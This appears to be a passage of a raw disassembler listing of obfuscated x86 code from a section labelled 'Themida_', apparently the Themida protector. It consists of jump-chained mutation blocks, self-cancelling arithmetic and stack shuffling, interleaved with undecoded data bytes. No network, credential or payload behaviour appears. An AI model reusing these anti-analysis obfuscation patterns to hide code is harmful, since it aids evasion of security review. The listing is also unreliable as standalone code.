		dd 0D2E95BF8h, 81FFFFDFh, 48638EC3h, 5EA6E9ECh,	0B6520000h
		dd 3CE6804Fh, 7A1E9h
		db 0
; ---------------------------------------------------------------------------

loc_517531:				; CODE XREF: Themida_:005236FBj
		pop	edx
		push	21B7h
		mov	[esp], ebp
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_520CB0
; ---------------------------------------------------------------------------

loc_51755A:				; CODE XREF: Themida_:0051E490j
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6440757h
		sub	edi, 6440753h
		sub	ebp, 51617147h
		sub	ebp, 68C010A8h
		add	ebp, edi
		jmp	loc_51EBC2
; ---------------------------------------------------------------------------

loc_517582:				; CODE XREF: Themida_:00521014j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		push	ecx
		mov	ch, al
		mov	dh, ch
		pop	ecx
		mov	bh, dh
		pop	edx
		push	59B8h
		mov	[esp], ecx
		mov	ecx, 0
		push	eax
		mov	eax, 3F872069h
		add	ecx, eax
		pop	eax
		add	ecx, edx
		sub	ecx, 3F872069h
		mov	[ecx], bh
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		push	ecx
		push	52FDh
		mov	[esp], esi
		mov	esi, 207466F2h
		or	esi, 57FA5F2Ch
		push	esi
		not	dword ptr [esp]
		pop	esi
		shl	esi, 5
		push	ebp
		mov	ebp, 5DB75C6Bh
		xor	esi, ebp
		pop	ebp
		mov	ecx, esi
		pop	esi
		jmp	loc_522E03
; ---------------------------------------------------------------------------

loc_5175EC:				; CODE XREF: Themida_:005148DEj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_517E52
; ---------------------------------------------------------------------------
aFbXSxl		db 'fêå+éå‹',0
		dw 8800h
		dd 0C8B5BFCh, 4C48324h,	8158E388h, 4ECh, 24148900h, 0B664B753h
		dd 5BFE284Ch, 6805EEC0h, 5EC1h,	1414E9h, 46D6F700h, 975BC681h
		dd 0F029859Bh, 4605E9h,	5BD90100h, 4C181h, 0C330000h, 574EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51764A:				; CODE XREF: Themida_:00522AB5j
		add	eax, 4
		jmp	loc_515E61
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8B241487h, 34FF2424h, 241C8B24h, 4C481h, 0C4810000h
		dd 4, 58E9BD2Ch, 8B000059h, 0C4812404h,	4, 2DE95358h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_517687:				; CODE XREF: Themida_:0052244Bj
		pop	edx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAS@x		db 'aÃé@x',0
		db 0
; ---------------------------------------------------------------------------

loc_517695:				; CODE XREF: Themida_:005154AEj
		not	eax
		push	esi
		mov	esi, 382B4A5Ah
		and	eax, esi
		jmp	loc_511942
; ---------------------------------------------------------------------------
		dd 835EF221h, 0BD55FFEAh, 4700382Ch, 0CD7B850h,	0C501F964h
		dd 5DEA3158h, 38FA68h, 24148900h, 2434FF5Bh, 3B35E9h
		db 0
; ---------------------------------------------------------------------------

loc_5176CD:				; CODE XREF: Themida_:00512073j
		mov	ebx, 5C746B88h
		jmp	loc_51CC28
; ---------------------------------------------------------------------------
		db 81h
		dd 0EFF206C6h, 0FDE9568Ch
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5176E3:				; CODE XREF: Themida_:0051A651j
		xor	ebx, 6A953911h
		neg	ebx
		or	ebx, 17B62C15h
		jmp	loc_510B7F
; ---------------------------------------------------------------------------
		dw 0B60Fh
		dd 176DE9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5176FE:				; CODE XREF: Themida_:0051C947j
		mov	bh, 0C1h
		or	bh, 48h
		push	ecx
		jmp	loc_5100DD
; ---------------------------------------------------------------------------
		db 29h,	0DEh, 5Bh
		dd 3319EE81h, 0C6014939h, 3319C681h, 0C6814939h, 2CC46F4Dh
		dd 0A100E9h, 2434FF00h,	0FF9F02E9h, 0DAE95AFFh,	89000047h
		dd 55502434h, 0FFCB4EE9h, 0CBE954FFh, 5DFFFFEFh, 2084E9h
		db 0
; ---------------------------------------------------------------------------

loc_517749:				; CODE XREF: Themida_:00518FD4j
		mov	eax, ebp
		pop	ebp
		jmp	loc_521E94
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0EBh
		dd 0BF7AE9h, 4436800h, 14E90000h, 57000008h, 566ECDBFh
		dd 847DE922h, 0E2B5FFFFh, 5966EF20h, 0FFE1A1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_517779:				; CODE XREF: Themida_:005205E1j
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		push	58B70DB1h
		pop	edx
		mov	eax, 58B70DB5h
		push	ebx
		jmp	loc_51A64C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F662424h, 9C2404B3h, 0FF7F5BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5177B1:				; CODE XREF: Themida_:0050F9D1j
		pop	ebp
		push	eax
		jmp	loc_523D9E
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 17BF5700h, 0E920FD1Eh, 6BEFh
; ---------------------------------------------------------------------------

loc_5177CC:				; CODE XREF: Themida_:0051B5A5j
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_51EC8C
; ---------------------------------------------------------------------------

loc_5177D9:				; CODE XREF: Themida_:00511D1Cj
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_50FFB3
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 4EC81h, 28E90000h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5177F7:				; CODE XREF: Themida_:00518BECj
		pop	ecx
		push	edx
		jmp	loc_51EF0E
; ---------------------------------------------------------------------------

loc_5177FE:				; CODE XREF: Themida_:00513A54j
		sub	eax, ebx
		jmp	loc_51DE98
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 33243431h, 248B2434h, 0C83B6624h, 7EF2E99Ch,	8153FFFFh
		dd 4ECh, 24048900h, 0FFE651E9h,	0B0505AFFh, 0C076347Eh
		dd 5D0407E0h, 0C058C530h, 7CE904E5h, 0BAFFFFB5h, 49685269h
		dd 262EA81h, 0E2815778h, 78C34C8Dh, 0B6A6F281h,	0D129F895h
		dd 8124148Bh, 4C4h, 59CB0100h, 0FF8705E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_517869:				; CODE XREF: Themida_:0052044Ej
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_516545
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815A24h, 4, 4C481h, 0E9530000h, 3A9Bh, 1FCCE947h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51788E:				; CODE XREF: Themida_:0051E1A8j
		xor	ebp, 129D2472h
		sub	ebp, 0A7CAF67Ah
		sub	ebx, ebp
		jmp	loc_51F606
; ---------------------------------------------------------------------------

loc_5178A1:				; CODE XREF: Themida_:00510DC8j
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	ebp, 6A1556D0h
		push	edx
		mov	edx, 644F63E5h
		sub	edx, 517223BFh
		add	ebp, edx
		pop	edx
		add	ebp, ecx
		jmp	loc_513FE4
; ---------------------------------------------------------------------------

loc_5178C4:				; CODE XREF: Themida_:0052432Fj
		shl	eax, 8
		push	ebx
		mov	ebx, 76A76463h
		or	ebx, 3AB94AECh
		xor	ebx, 7ECC5CE2h
		and	ebx, 797C50BAh
		jmp	loc_51D7F9
; ---------------------------------------------------------------------------

loc_5178E4:				; CODE XREF: Themida_:0051F1D4j
		pop	eax
		jmp	loc_50FF1F
; ---------------------------------------------------------------------------

loc_5178EA:				; CODE XREF: Themida_:00521E5Fj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 1B357574h
		mov	edi, 338BB1F7h
		add	edi, ebp
		jmp	loc_51A0FC
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0F6E9D831h, 87000082h, 895C241Ch, 0EC68241Ch, 5B79AC32h
		dd 1BDAC381h, 0E381437Bh, 4AFA6B38h, 0FFA0EB81h, 0DE89D53Ch
		dd 5B2434FFh, 0E904C483h, 9B69h, 64BBF57h, 0EFC160D2h
		dd 0EBC78106h, 89FE7CB7h, 0EC835FFEh, 24348904h, 0A1243481h
		dd 8B5C9B37h, 0C4832404h, 0A1BA5204h, 0E95C9B37h, 5C76h
; ---------------------------------------------------------------------------

loc_517970:				; CODE XREF: Themida_:005111EBj
		mov	ecx, 666D1870h
		xor	ecx, 53421002h
		shr	ecx, 8
		or	ecx, 416C0FF2h
		jmp	loc_518FCB
; ---------------------------------------------------------------------------
		db 1, 0C8h, 0E9h
		dd 0FFFF976Ch
; ---------------------------------------------------------------------------

loc_517990:				; CODE XREF: Themida_:0051885Cj
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	2D33h
		mov	[esp], ebp
		mov	ebp, 0D0977FFh
		add	ebp, 2D45214h
		add	ebp, 69FF2C9Ch
		sub	esp, 4
		jmp	loc_51CE02
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 5F28104h, 8100C717h, 0ED62B9F2h,	26792DCFh
		dd 0D0290D8Eh, 8E267905h, 0E9565A0Dh, 0D69h, 24048B66h
		dd 2D8068h, 241C8900h, 0EC83E389h, 24348904h, 0FF9912E9h
		dd 8082B3FFh, 8850B5C3h, 1F73E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_517A16:				; CODE XREF: Themida_:00513A60j
		add	edx, 0CD59DD3Dh
		push	edi
		mov	edi, 271A0EC8h
		shl	edi, 3
		or	edi, 324A18C4h
		dec	edi
		xor	edi, 0A327B3h
		add	eax, edi
		pop	edi
		add	eax, edx
		sub	eax, 3A795970h
		jmp	loc_5148E3
; ---------------------------------------------------------------------------

loc_517A41:				; CODE XREF: Themida_:00511D11j
		mov	edi, 1BA950FDh
		sub	edi, 5D8F1815h
		jmp	loc_519D96
; ---------------------------------------------------------------------------

loc_517A51:				; CODE XREF: Themida_:00523C9Aj
		and	eax, edx
		jmp	loc_51AD8E
; ---------------------------------------------------------------------------

loc_517A58:				; CODE XREF: Themida_:005142D2j
		add	esp, 4
		push	ebx
		push	edx
		jmp	loc_5121D8
; ---------------------------------------------------------------------------

loc_517A65:				; CODE XREF: Themida_:005137F5j
		push	7D27h
		mov	[esp], ebx
		push	0
		mov	ebx, [esp]
		jmp	loc_51DC54
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 24248B24h, 4AB0F66h,	81E99C24h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_517A8B:				; CODE XREF: Themida_:005174A3j
		push	dword ptr [esp]
		jmp	loc_50FB65
; ---------------------------------------------------------------------------
		db 58h
		dd 0E8302D48h, 0C2890E6Ch, 1B7BB858h, 0D03115C2h, 0A805405Ah
		dd 29B1E1A9h, 14E958C6h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_517AB3:				; CODE XREF: Themida_:00516EEAj
		mov	[esp], esi
		push	ebx
		mov	ebx, eax
		push	ebp
		mov	ebp, ebx
		mov	esi, ebp
		pop	ebp
		pop	ebx
		jmp	loc_515894
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 3
		dd 0FFCFC4E9h, 0ACE95EFFh, 0BD0000B4h, 0FFFFFFFFh, 7DE9E929h
		dd 5B000064h, 7B65266h,	5A66F028h, 0D828BB04h, 6651BB2Ch
		dd 8807B753h, 2C5B66FDh, 4150422h, 9904A0h, 2C992CE8h
		dd 49E952A0h, 0BD0000ABh, 5EF763FAh, 8904EC83h,	38B9240Ch
		dd 0BA24744Fh, 836BB336h, 194E9h, 0B8BB5300h, 0E92B066Dh
		dd 0B66Bh, 0CBE9E589h, 8BFFFFEEh, 31E9242Ch
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_517B3F:				; CODE XREF: Themida_:00510D5Ej
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		push	edx
		mov	edx, 323D513Ah
		neg	edx
		sub	edx, 3D702CD0h
		sub	edx, 5BDD5EDBh
		sub	ecx, 69B47391h
		sub	ecx, edx
		add	ecx, 69B47391h
		pop	edx
		add	ecx, 6D515A49h
		add	ecx, esi
		sub	ecx, 6D515A49h
		add	ecx, 3475231Bh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_524FA5
; ---------------------------------------------------------------------------
aMhib		db '¬h¨b',0
		dw 8900h
		dd 0B5512414h, 4EC814Dh, 0E9000000h, 37D1h, 294A5CBAh
		dd 24540156h, 6C815A08h, 7FF00424h, 5A5D1E7Ch, 32BDBE56h
		dd 0EA817BFEh, 5313EF0h, 0C281F201h, 5313EF0h, 52E95E5Eh
		dd 0FF000084h, 51582434h, 7EF2E954h, 0DB680000h, 89000039h
		dd 0BA522404h, 53046A21h, 0E907E2C1h, 59EDh, 74C18141h
		dd 0E94A424Dh, 853Dh, 5772EB81h, 98E92394h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_517C17:				; CODE XREF: Themida_:00520A60j
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	eax
		xor	eax, 2A635976h
		jmp	loc_51453A
; ---------------------------------------------------------------------------
		dd 0E6149B9h, 244C0108h, 34FF5904h, 24048B24h, 5104C483h
		dd 4B35E9h
		db 0
; ---------------------------------------------------------------------------

loc_517C4D:				; CODE XREF: Themida_:0051A76Cj
		mov	ecx, esp
		push	ebx
		jmp	loc_522A88
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0E904C483h, 0FFFF8DD6h
; ---------------------------------------------------------------------------

loc_517C60:				; CODE XREF: Themida_:00519F1Ej
		mov	al, bl
		push	ebx
		push	edx
		mov	dl, al
		mov	bl, dl
		pop	edx
		mov	cl, bl
		pop	ebx
		pop	eax
		pop	ebx
		pop	edx
		pop	eax
		mov	[edi+eax*4], cl
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_52401C
; ---------------------------------------------------------------------------

loc_517C85:				; CODE XREF: Themida_:00520D02j
		add	edx, 3FF21F64h
		jmp	loc_520CF0
; ---------------------------------------------------------------------------
		dd 4240483h, 8124048Fh,	42404h,	28E90000h, 81000094h, 4C4h
		dd 0DBC6E900h, 0EC81FFFFh, 4, 8CCBE9h, 0E9CA2900h, 0B0E5h
; ---------------------------------------------------------------------------

loc_517CC0:				; CODE XREF: Themida_:00515C6Bj
		dec	ebx
		sub	ebx, 6FDCC58Bh
		add	ecx, 295311DDh
		jmp	loc_51BD71
; ---------------------------------------------------------------------------
aAS		db '€ÆÎéÊ"',0
		align 2
a3Ssom		db '3<$\S鎬',0
		align 4

loc_517CE4:				; CODE XREF: Themida_:00521135j
		add	ecx, edi
		pop	edi
		push	ecx
		push	1A03h
		mov	[esp], ebx
		mov	ebx, 79A73315h
		add	dword ptr [esp+4], 318E6272h
		jmp	loc_514196
; ---------------------------------------------------------------------------

loc_517D02:				; CODE XREF: Themida_:0051AE9Aj
		and	bh, dh
		mov	edx, [esp]
		jmp	loc_51B09D
; ---------------------------------------------------------------------------

loc_517D0C:				; CODE XREF: Themida_:0051E5E0j
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_51668D
; ---------------------------------------------------------------------------

loc_517D3B:				; CODE XREF: Themida_:00521236j
		add	edi, ebx
		jmp	loc_513B17
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4B95124h, 89000000h,	2434FFCBh, 0FF8F7AE9h, 0B25250FFh
		dd 280BB0A3h, 88515AD0h, 88C688F1h, 0C6FE59C8h,	9204F086h
		dd 0A6BEE9h, 0ACE95900h, 0AC0000D1h, 6602EC83h,	50240C89h
		dd 0E588B0B4h, 8906E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_517D8A:				; CODE XREF: Themida_:005150DEj
		mov	ebp, 495E73C0h
		and	ebp, 4A185808h
		dec	ebp
		jmp	loc_517059
; ---------------------------------------------------------------------------

loc_517D9B:				; CODE XREF: Themida_:005151F2j
		push	ebx
		push	572E4E3Ah
		pop	ebx
		add	ebx, 793A31E0h
		add	ebx, 0AD3390DDh
		mov	ebp, ebx
		pop	ebx
		xor	ebp, 7D9C10F3h
		jmp	loc_51C0F8
; ---------------------------------------------------------------------------

loc_517DBC:				; CODE XREF: Themida_:00511B3Fj
		add	esp, 4
		add	edi, 4
		jmp	loc_51A38C
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 2C87D5F7h, 0D1F75924h, 0FCF5E955h, 8166FFFFh, 660D75E1h
		dd 2E55C181h, 0E9CF8966h, 0FFFFD17Eh
; ---------------------------------------------------------------------------

loc_517DF0:				; CODE XREF: Themida_:0051EC6Dj
		mov	edi, 4F180B76h
		sub	esi, 647C4F0Fh
		add	esi, edi
		add	esi, 647C4F0Fh
		jmp	loc_5152A3
; ---------------------------------------------------------------------------
		dd 58CC68h, 0B5E0E900h,	5400000h, 0FFFFFFFFh, 63845705h
		dd 0C7EB81B3h, 81113943h, 667C62EBh, 81C30178h,	667C62C3h
		dd 0B148E978h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_517E36:				; CODE XREF: Themida_:00522F18j
		mov	ebx, 599240DDh
		xor	edi, ebx
		jmp	loc_523D4C
; ---------------------------------------------------------------------------
		dw 34FFh
aSA		db '$éÃA',0
		align 2
		dw 0EC83h
		dd 4561E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_517E52:				; CODE XREF: Themida_:005175F0j
		mov	[esp], ebx
		jmp	loc_524038
; ---------------------------------------------------------------------------
aNhj		db '­h¦}',0
		align 10h
		dd 0BD242C89h, 55066928h, 8F7ED81h, 0E801F7ECh,	68242C8Bh
		dd 176Dh, 89243489h, 4C681E6h, 83000000h, 348704C6h, 0E3E95C24h
		dd 5B0000AEh, 4BE56h, 0EB810000h, 2502216h, 3208EB81h
		dd 0E9510B98h, 0FFFFD4EAh, 57CDC681h, 0E95271D0h, 0FFFFD2C5h
		dd 0DE2CAA2Ch, 0FFF95DE9h, 0A4EF80FFh, 5117F780h, 0EA88FD88h
		dd 83240C8Bh, 1C8B04C4h, 4C48324h, 78E95150h, 8100008Fh
		dd 4ECh, 241C8900h, 0B850E389h,	41D53825h, 7E8C148h, 0C6E9h
		dd 243C8B00h, 4FC8E9h, 241C8B00h, 4D04C483h, 2DB6E9h
		db 0
; ---------------------------------------------------------------------------

loc_517F09:				; CODE XREF: Themida_:00523D4Fj
		pop	ebx
		add	esp, 4
		sub	edi, 3A021943h
		add	ebx, edi
		push	dword ptr [esp]
		jmp	loc_51E741
; ---------------------------------------------------------------------------
		dd 104C483h, 2C3358C5h,	242C3124h, 8B242C33h, 1E92424h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_517F37:				; CODE XREF: Themida_:00521AA9j
		xor	edi, 15E135C8h
		push	ebx
		mov	ebx, edi
		mov	eax, ebx
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edx
		mov	edx, 8000h
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	745Dh
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 3E9314A6h
		push	ebx
		mov	ebx, esp
		jmp	loc_524944
; ---------------------------------------------------------------------------
aIIxsk		db '‰,$‰åéª',9,0
		dd 0BD27BE00h, 0F729878Ch, 5465E95Eh, 48B0000h,	72D0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_517F96:				; CODE XREF: Themida_:0051B346j
		push	eax
		push	ecx
		mov	ecx, 0ED74029h
		xor	ecx, 0B8B689Fh
		jmp	loc_51575E
; ---------------------------------------------------------------------------

loc_517FA8:				; CODE XREF: Themida_:0051A51Ej
		push	dword ptr [esp]
		jmp	loc_51596C
; ---------------------------------------------------------------------------
		dd 45CBBA52h, 29E96AB7h, 35FFFFCEh, 416A28C8h, 167D4C05h
		dd 3F6DE9BEh, 0EE810000h, 1A2825F0h, 5F96858h, 34890000h
		dd 81E68924h, 4C6h, 3EE95700h, 8BFFFFF3h, 0F662424h, 9C2404BBh
		dd 0C2D4E9h, 24440100h,	246C8104h, 0D4589204h, 0BB535806h
		dd 644765D6h, 5543DBF7h, 0E9593FBDh, 7EDC14Ch, 0B33EE955h
		dd 335E0000h, 74E92404h, 81FFFFE2h, 6C04246Ch, 816E8739h
		dd 8904246Ch, 524F9205h, 1E43E9h, 2E0C000h, 2EE2E9h, 122C00h
		dd 5A1204D0h, 8048B353h, 0D80033F3h, 240C8B5Bh,	5E08950h
		dd 4, 3304C083h, 51E92404h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_518067:				; CODE XREF: Themida_:005220AEj
		add	bl, 98h
		sub	bl, al
		jmp	loc_51D593
; ---------------------------------------------------------------------------
		db 0B9h, 0CFh, 55h
		dd 0CB29508Ah, 0ADC38159h, 0E937F135h, 0FFFF85A8h, 5324048Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 54515C24h,	0E9240C8Bh
		dd 3CA6h
; ---------------------------------------------------------------------------

loc_5180A4:				; CODE XREF: Themida_:0051CC45j
		pop	edx
		jmp	loc_51E7CB
; ---------------------------------------------------------------------------

loc_5180AA:				; CODE XREF: Themida_:00518F91j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_512DB3
; ---------------------------------------------------------------------------
		dd 52240489h, 9F0E9h
		db 0
; ---------------------------------------------------------------------------

loc_5180CD:				; CODE XREF: Themida_:0051CC8Ej
		pop	ebx
		jmp	loc_5227CD
; ---------------------------------------------------------------------------

loc_5180D3:				; CODE XREF: Themida_:0051D76Fj
		mov	[esp], ebp
		mov	ebp, 0FFFFFFFFh
		add	edx, ebp
		jmp	loc_513A59
; ---------------------------------------------------------------------------

loc_5180E2:				; CODE XREF: Themida_:0051186Aj
		pop	eax
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_523188
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 8904EC83h, 0DAE92414h, 50000033h, 0C1884AB0h, 7F04E958h
		dd 0C6680000h, 89000018h, 0BA522434h, 24CC17D7h, 0EC81DAF7h
		dd 4, 0B9240C89h, 2FB01E1Bh, 0FFA1AEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51812D:				; CODE XREF: Themida_:005102D5j
		xor	ecx, [esp]
		jmp	loc_510653
; ---------------------------------------------------------------------------

loc_518135:				; CODE XREF: Themida_:00514AA4j
		sub	byte ptr [esp],	0Dh
		sub	[esp], bl
		add	byte ptr [esp],	0Dh
		jmp	loc_510B38
; ---------------------------------------------------------------------------

loc_518145:				; CODE XREF: Themida_:0050FB98j
		mov	edi, 4
		add	eax, edi
		jmp	loc_5100A6
; ---------------------------------------------------------------------------
		db 5Dh,	50h, 0B8h
		dd 72B630D5h, 83F5E9h
		db 0
; ---------------------------------------------------------------------------

loc_51815D:				; CODE XREF: Themida_:0052179Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		jmp	loc_520613
; ---------------------------------------------------------------------------
		dd 66F78766h, 6650D7F7h, 6602D7B8h, 4DE9D0F7h, 81000072h
		dd 900599F1h, 0C98AE91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51818A:				; CODE XREF: Themida_:0051DABCj
		add	esi, 4
		push	edx
		push	ebp
		mov	ebp, 7B961095h
		mov	edx, ebp
		pop	ebp
		or	edx, 0BB846E7h
		not	edx
		xor	edx, 4D425FAAh
		inc	edx
		shr	edx, 2
		jmp	loc_5131BD
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 54000000h, 5024048Fh, 16B3E9h, 0C6B85000h, 2907A773h
		dd 0F28158C2h, 5C99CF77h, 0FF5AD631h, 56592434h, 0BF57E689h
		dd 76AC2968h, 296CF781h, 0FE0176ACh, 4C6815Fh, 33000000h
		dd 34312434h, 0C7CFE924h, 0F1880000h, 0CDFCE9h
		db 0
; ---------------------------------------------------------------------------

loc_518201:				; CODE XREF: Themida_:00510656j
		mov	eax, [esp]
		jmp	loc_5125E6
; ---------------------------------------------------------------------------
a_vtsgw		db '_VTé£w',0
		dd 5EF30100h, 8106E3C1h, 7F6B63C3h, 0D98951ADh,	4AE9CF89h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_518227:				; CODE XREF: Themida_:005210B0j
		sub	ebx, 52266F98h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_51FD7D
; ---------------------------------------------------------------------------
		dd 2796EA81h, 0D0319438h, 1BB535Ah, 29000000h, 2434FFD8h
		dd 4C4835Bh, 0A0DDE9h, 5BDA2800h, 40E9D300h, 8300006Ah
		dd 685304C4h, 53CCh, 57242C89h,	91FC1BFh, 305DBD29h, 39E9588Bh
		dd 8B00006Bh, 0A7E9241Ch
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_518283:				; CODE XREF: Themida_:00523A91j
		sub	ebx, 761A2490h
		pop	esi
		jmp	loc_51C063
; ---------------------------------------------------------------------------

loc_51828F:				; CODE XREF: Themida_:00515967j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_51B590
; ---------------------------------------------------------------------------
		dd 779868h, 241C8900h, 0CF8024B7h, 8E7C094h, 0C13DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5182BD:				; CODE XREF: Themida_:0051AC5Fj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_51F32B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E1C14104h, 4C18108h, 53EAC361h, 25E9CB89h, 0C1FFFFA9h
		dd 0BF5708E3h, 7C6372F1h, 5208EFC1h, 0C281E289h, 4, 4EA81h
		dd 14870000h, 34895C24h, 1461BE24h, 0D6F70617h,	77D5C681h
		dd 0F7310693h, 5FFB015Eh, 8143DBF7h, 8405E7C3h,	449C6811h
		dd 3C890000h, 293D6824h, 0A1E92B82h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_518333:				; CODE XREF: Themida_:00515703j
		mov	[esp], ecx
		push	2DA51D95h
		jmp	loc_5224F7
; ---------------------------------------------------------------------------
		dd 0BE243489h, 626A1C28h, 34FFF129h, 89515E24h,	0A500E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_518356:				; CODE XREF: Themida_:00519DD5j
		mov	eax, 4B956FA2h
		jmp	loc_51A8BE
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF739Ch, 6852E789h
		dd 3459h, 0BD242C89h, 62C41FD6h, 749CE9h
		db 0
; ---------------------------------------------------------------------------

loc_518385:				; CODE XREF: Themida_:005102DDj
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_516C69
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0D43DB805h, 741D2D56h, 0D8013198h, 8904EC83h, 0E955243Ch
		dd 0FFFF956Eh, 801DB353h, 0EBC066C3h, 21EB8002h, 665BDD00h
		dd 0E9000068h, 7646h, 4240481h,	8F000000h, 4812404h, 424h
		dd 0BD555F00h, 4, 7CF6EF81h, 0B3E94605h, 81FFFFB3h, 644774CFh
		dd 81DFF773h, 18EB22C7h, 5FFA3180h, 8105EAC1h, 4ECh, 240C8900h
		dd 0CB3E5AB9h, 0DEBE5614h, 92C4F24h, 0F3E95EF1h, 66FFFFBAh
		dd 2870B551h, 805966EEh, 0F0288DEEh, 5524148Bh,	0C6C9E9h
		dd 24148900h, 0FFAC1EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_518435:				; CODE XREF: Themida_:005184AFj
		push	ebx
		mov	ebx, 9FF6C9Bh
		add	ebx, 1FA847D1h
		neg	ebx
		jmp	loc_512F5F
; ---------------------------------------------------------------------------
		dd 7A68h, 24048900h, 0D02DABB8h, 7CB90541h, 0EC813C93h
		dd 4, 0FFA9FBE9h, 242C8BFFh, 0FFABA7E9h, 0E9CE01FFh, 0C54Dh
; ---------------------------------------------------------------------------

loc_518474:				; CODE XREF: Themida_:005171E0j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	7C50h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 4
		mov	ebp, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	edx, 7025420Dh
		add	edx, ebp
		jmp	loc_518435
; ---------------------------------------------------------------------------
		dd 0C688E888h, 240C8B58h, 4C481h, 0C6800000h, 0FFC680FFh
